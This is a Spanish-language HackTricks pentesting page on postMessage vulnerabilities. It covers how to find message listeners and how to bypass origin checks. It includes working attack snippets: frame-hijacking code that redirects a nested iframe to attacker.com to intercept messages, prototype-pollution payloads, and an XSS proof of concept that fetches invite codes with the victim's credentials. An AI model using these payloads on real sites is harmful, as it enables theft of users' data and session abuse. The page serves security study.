mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
209 lines
14 KiB
Markdown
209 lines
14 KiB
Markdown
# Vulnerabilidades de PostMessage
|
|
|
|
## Vulnerabilidades de PostMessage
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Enviar **PostMessage**
|
|
|
|
**PostMessage** utiliza la siguiente función para enviar un mensaje:
|
|
```bash
|
|
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
|
|
|
# postMessage to current page
|
|
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|
|
|
# postMessage to an iframe with id "idframe"
|
|
<iframe id="idframe" src="http://victim.com/"></iframe>
|
|
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|
|
|
# postMessage to an iframe via onload
|
|
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
|
|
|
# postMessage to popup
|
|
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
|
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|
|
|
# postMessage to an URL
|
|
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
|
|
|
# postMessage to iframe inside popup
|
|
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
|
## loop until win.length == 1 (until the iframe is loaded)
|
|
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|
```
|
|
Tenga en cuenta que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
|
|
En el **segundo escenario**, el **mensaje solo se puede enviar a ese dominio** (incluso si el origen del objeto de ventana es diferente).\
|
|
Si se utiliza el **comodín**, los **mensajes podrían enviarse a cualquier dominio**, y se enviarán al origen del objeto de ventana.
|
|
|
|
### Atacando iframe y comodín en **targetOrigin**
|
|
|
|
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) si encuentra una página que se puede **iframar** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puede **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por usted.\
|
|
Tenga en cuenta que si la página se puede iframar pero el **targetOrigin** está **configurado en una URL y no en un comodín**, este **truco no funcionará**.
|
|
```markup
|
|
<html>
|
|
<iframe src="https://docs.google.com/document/ID" />
|
|
<script>
|
|
setTimeout(exp, 6000); //Wait 6s
|
|
|
|
//Try to change the origin of the iframe each 100ms
|
|
function exp(){
|
|
setInterval(function(){
|
|
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
|
}, 100);
|
|
}
|
|
</script>
|
|
```
|
|
## Explotación de addEventListener
|
|
|
|
**`addEventListener`** es la función utilizada por JS para declarar la función que está **esperando `postMessages`**.\
|
|
Se utilizará un código similar al siguiente:
|
|
```javascript
|
|
window.addEventListener("message", (event) => {
|
|
if (event.origin !== "http://example.org:8080")
|
|
return;
|
|
|
|
// ...
|
|
}, false);
|
|
```
|
|
Nota en este caso cómo lo **primero** que hace el código es **verificar el origen**. Esto es terriblemente **importante**, principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no se verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos puntos finales** y cambiar las contraseñas de las víctimas (en este ejemplo).
|
|
|
|
### Enumeración
|
|
|
|
Para **encontrar los escuchadores de eventos** en la página actual, puede:
|
|
|
|
* **Buscar** el código JS para `window.addEventListener` y `$(window).on` (versión _JQuery_)
|
|
* **Ejecutar** en la consola de herramientas para desarrolladores: `getEventListeners(window)`
|
|
|
|
![](<../../.gitbook/assets/image (618) (1) (1).png>)
|
|
|
|
* **Ir a** _Elementos --> Escuchadores de eventos_ en las herramientas para desarrolladores del navegador
|
|
|
|
![](<../../.gitbook/assets/image (617).png>)
|
|
|
|
* Usar una **extensión del navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Esta extensión del navegador **interceptar todos los mensajes** y mostrarlos.
|
|
|
|
### Bypasses básicos de verificación de origen
|
|
|
|
* Si se utiliza **`indexOf()`** para **verificar** el **origen** del evento PostMessage, recuerde que se puede evitar fácilmente como en el siguiente ejemplo: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
|
|
* Si se utiliza **`search()`** para **validar** el **origen** podría ser inseguro. Según la documentación de `String.prototype.search()`, el método **toma un objeto de expresión regular** en lugar de una cadena. Si se pasa algo que no sea una expresión regular, se convertirá implícitamente en una expresión regular.\
|
|
En la expresión regular, **un punto (.) se trata como un comodín**. Un atacante puede aprovecharlo y **usar** un **dominio especial** en lugar del oficial para evitar la validación, como en: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
|
|
* Si se utiliza la función **`escapeHtml`**, la función no crea un objeto escapado `new`, en su lugar **sobrescribe propiedades** del objeto existente. Esto significa que si podemos crear un objeto con una propiedad controlada que no responda a `hasOwnProperty`, no se escapará.
|
|
```javascript
|
|
// Expected to fail:
|
|
result = u({
|
|
message: "'\"<b>\\"
|
|
});
|
|
result.message // "'"<b>\"
|
|
// Bypassed:
|
|
result = u(new Error("'\"<b>\\"));
|
|
result.message; // "'"<b>\"
|
|
```
|
|
El objeto `File` es perfecto para este exploit ya que tiene una propiedad de solo lectura `name` que es utilizada por nuestra plantilla y pasará por alto la función `escapeHtml`.
|
|
|
|
### Saltando e.origin == window.origin
|
|
|
|
Cuando una página está incrustada en un **iframe con sandbox** a través de `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, el **origen** de ese **iframe** será **`null`**.
|
|
|
|
Cuando se establece el valor de **sandbox `allow-popups`**, entonces la **ventana emergente abierta** heredará todos los **atributos sandbox** a menos que se establezca `allow-popups-to-escape-sandbox`.\
|
|
Por lo tanto, abrir una **ventana emergente** desde un **origen nulo** hará que **`window.origin`** dentro de la ventana emergente también sea **`null`**.
|
|
|
|
Por lo tanto, si abres un **iframe con sandbox** permitiendo ventanas emergentes, y luego **abres una ventana emergente** desde dentro del iframe, y **envías un postMessage** desde el iframe **a la ventana emergente**, ambos orígenes son nulos, por lo que: **`e.origin == window.origin == null`**
|
|
|
|
Para obtener más información, **lee**:
|
|
|
|
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
|
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Saltando e.source
|
|
|
|
Puedes forzar que **`e.source`** de un mensaje sea nulo creando un **iframe** que **envíe** el **postMessage** y se **elimine inmediatamente**.
|
|
|
|
Para obtener más información, **lee:**
|
|
|
|
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
|
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Saltando la cabecera X-Frame
|
|
|
|
Para realizar estos ataques, idealmente podrás **poner la página web víctima** dentro de un `iframe`. Pero algunas cabeceras como `X-Frame-Header` pueden **prevenir** ese **comportamiento**.\
|
|
En esos escenarios, aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña en la aplicación web vulnerable y comunicarte con ella:
|
|
```markup
|
|
<script>
|
|
var w=window.open("<url>")
|
|
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
|
</script>
|
|
```
|
|
### Robando mensajes enviados a un hijo bloqueando la página principal
|
|
|
|
En la siguiente página puedes ver cómo podrías robar datos sensibles enviados a un **iframe hijo** mediante un **postmessage** bloqueando la **página principal** antes de enviar los datos y abusando de un **XSS en el hijo** para **filtrar los datos** antes de que sean recibidos:
|
|
|
|
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
|
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Robando mensajes modificando la ubicación del iframe
|
|
|
|
Si puedes incluir un **iframe** de una página web sin el encabezado X-Frame, que contiene otro **iframe**, puedes **cambiar la ubicación del iframe hijo**, por lo que si está recibiendo un **postmessage** enviado usando un **comodín**, un atacante podría **cambiar** el **origen** de ese iframe a una página **controlada** por él y **robar** el mensaje:
|
|
|
|
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
|
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
|
{% endcontent-ref %}
|
|
|
|
### postMessage a la contaminación de prototipos y/o XSS
|
|
|
|
En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **incluir un iframe** en la **página** y **explotar** la **contaminación de prototipos/XSS** enviando el exploit a través de `postMessage`.
|
|
|
|
Un par de **XSS muy bien explicados a través de `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
|
|
|
Ejemplo de un exploit para abusar de la **contaminación de prototipos y luego XSS** a través de un `postMessage` a un `iframe`:
|
|
```markup
|
|
<html>
|
|
<body>
|
|
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
|
<script>
|
|
function get_code() {
|
|
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
|
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
|
}
|
|
|
|
setTimeout(get_code, 2000);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
Para **más información**:
|
|
|
|
* Enlace a la página sobre [**pollución de prototipos**](../deserialization/nodejs-proto-prototype-pollution/)
|
|
* Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/)
|
|
* Enlace a la página sobre [**pollución de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
|
|
|
## Referencias
|
|
|
|
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
|
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
|
* Para practicar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|